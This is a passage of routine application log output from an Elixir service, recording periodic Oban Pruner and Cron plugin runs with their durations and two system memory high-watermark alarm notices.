{"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.440 [info] {"source":"oban","duration":2355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:01:26.489 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:56.493 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.445 [info] {"source":"oban","duration":3712,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:02:26.494 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:56.496 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.446 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:03:26.500 [info] {"source":"oban","duration":2652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:56.505 [info] {"source":"oban","duration":4719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.452 [info] {"source":"oban","duration":4117,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:04:26.507 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:56.510 [info] {"source":"oban","duration":1798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.456 [info] {"source":"oban","duration":2596,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:05:26.512 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:56.517 [info] {"source":"oban","duration":3679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.457 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:06:26.520 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:56.526 [info] {"source":"oban","duration":4736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.462 [info] {"source":"oban","duration":3560,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:07:26.528 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:56.540 [info] {"source":"oban","duration":10817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.475 [info] {"source":"oban","duration":11049,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:08:26.542 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:56.544 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.489 [info] {"source":"oban","duration":4607,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:09:26.547 [info] {"source":"oban","duration":2526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:56.551 [info] {"source":"oban","duration":3216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.499 [info] {"source":"oban","duration":5976,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:10:26.553 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:56.556 [info] {"source":"oban","duration":1802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.504 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:11:26.558 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:56.563 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.505 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:12:26.566 [info] {"source":"oban","duration":1923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:56.568 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.506 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:13:26.572 [info] {"source":"oban","duration":3147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:56.574 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.510 [info] {"source":"oban","duration":3495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:14:26.581 [info] {"source":"oban","duration":6534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:56.583 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.512 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:15:26.585 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:56.587 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.515 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:16:26.591 [info] {"source":"oban","duration":3450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:56.596 [info] {"source":"oban","duration":3825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.520 [info] {"source":"oban","duration":3526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:17:26.599 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:56.604 [info] {"source":"oban","duration":4418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.529 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:18:26.606 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:56.609 [info] {"source":"oban","duration":2368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.531 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:19:26.611 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:56.613 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.531 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:20:26.615 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:56.617 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.535 [info] {"source":"oban","duration":3405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:21:26.619 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:56.621 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.541 [info] {"source":"oban","duration":4801,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:22:26.625 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:56.627 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.546 [info] {"source":"oban","duration":3730,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:23:26.631 [info] {"source":"oban","duration":3197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:56.633 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.547 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:24:26.637 [info] {"source":"oban","duration":2997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:56.640 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.551 [info] {"source":"oban","duration":2618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:25:26.642 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:56.644 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.551 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:26:26.646 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:56.655 [info] {"source":"oban","duration":7896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.557 [info] {"source":"oban","duration":4553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:27:26.657 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:56.660 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.557 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:28:26.662 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:56.664 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.563 [info] {"source":"oban","duration":4480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:29:26.666 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:56.668 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.565 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:30:26.670 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:56.672 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.569 [info] {"source":"oban","duration":2767,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:31:26.674 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:56.676 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.571 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:32:26.678 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:56.680 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.572 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:33:26.683 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:56.686 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.578 [info] {"source":"oban","duration":5010,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:34:26.688 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:56.690 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.583 [info] {"source":"oban","duration":4016,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:35:26.691 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:56.694 [info] {"source":"oban","duration":2182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.588 [info] {"source":"oban","duration":3723,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:36:26.697 [info] {"source":"oban","duration":2402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:56.699 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.592 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:37:26.702 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:56.703 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.594 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:38:26.705 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:56.709 [info] {"source":"oban","duration":3298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.596 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:39:26.711 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:56.713 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.597 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:40:26.717 [info] {"source":"oban","duration":2300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:56.720 [info] {"source":"oban","duration":3516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.599 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:41:26.723 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:56.727 [info] {"source":"oban","duration":2923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.600 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:42:26.729 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:56.731 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.601 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:43:26.736 [info] {"source":"oban","duration":3566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:56.739 [info] {"source":"oban","duration":2395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.606 [info] {"source":"oban","duration":3602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:44:26.741 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:56.743 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.610 [info] {"source":"oban","duration":3034,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:45:26.745 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:56.747 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.611 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:46:26.749 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:56.751 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.614 [info] {"source":"oban","duration":1806,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:47:26.753 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:56.755 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.616 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:48:26.759 [info] {"source":"oban","duration":2592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:56.761 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.617 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:49:26.763 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:56.770 [info] {"source":"oban","duration":6107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.622 [info] {"source":"oban","duration":3512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:50:26.772 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:56.774 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.630 [info] {"source":"oban","duration":6394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:51:26.776 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:56.778 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.635 [info] {"source":"oban","duration":3841,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:52:26.780 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:56.782 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.636 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:53:26.785 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:56.787 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.637 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:54:21.938 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 06:54:26.791 [info] {"source":"oban","duration":2637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:56.794 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.640 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:55:26.797 [info] {"source":"oban","duration":2707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:56.799 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.645 [info] {"source":"oban","duration":3300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:56:26.807 [info] {"source":"oban","duration":6802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:56.810 [info] {"source":"oban","duration":2033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.646 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:57:26.812 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:56.817 [info] {"source":"oban","duration":3623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.649 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:58:26.819 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:56.821 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.653 [info] {"source":"oban","duration":2922,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:59:26.823 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:56.826 [info] {"source":"oban","duration":2199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.655 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:00:26.828 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:56.831 [info] {"source":"oban","duration":2218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.662 [info] {"source":"oban","duration":5523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:01:26.833 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:56.836 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.663 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:02:26.839 [info] {"source":"oban","duration":2174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:56.842 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.664 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:03:26.844 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:56.847 [info] {"source":"oban","duration":1995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.666 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:04:26.855 [info] {"source":"oban","duration":7313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:56.858 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.669 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:05:26.861 [info] {"source":"oban","duration":2226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:56.867 [info] {"source":"oban","duration":3432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.670 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:06:26.869 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:56.871 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.672 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:07:26.873 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:56.877 [info] {"source":"oban","duration":3049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.687 [info] {"source":"oban","duration":4398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:08:26.882 [info] {"source":"oban","duration":3656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:56.884 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.690 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:09:26.888 [info] {"source":"oban","duration":2673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:56.890 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.693 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:10:26.895 [info] {"source":"oban","duration":2248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:56.897 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.697 [info] {"source":"oban","duration":2537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:11:22.049 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 07:11:26.902 [info] {"source":"oban","duration":4103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:56.905 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.700 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:12:26.908 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:56.916 [info] {"source":"oban","duration":6214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.708 [info] {"source":"oban","duration":3648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:13:26.918 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:56.921 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.709 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:14:26.927 [info] {"source":"oban","duration":5268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:56.935 [info] {"source":"oban","duration":6810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.715 [info] {"source":"oban","duration":3791,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:15:26.939 [info] {"source":"oban","duration":2852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:56.942 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.718 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:16:26.945 [info] {"source":"oban","duration":3373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:56.949 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.722 [info] {"source":"oban","duration":2850,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:17:26.951 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:56.953 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.726 [info] {"source":"oban","duration":2389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:18:26.956 [info] {"source":"oban","duration":2520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:56.958 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.727 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:19:26.960 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 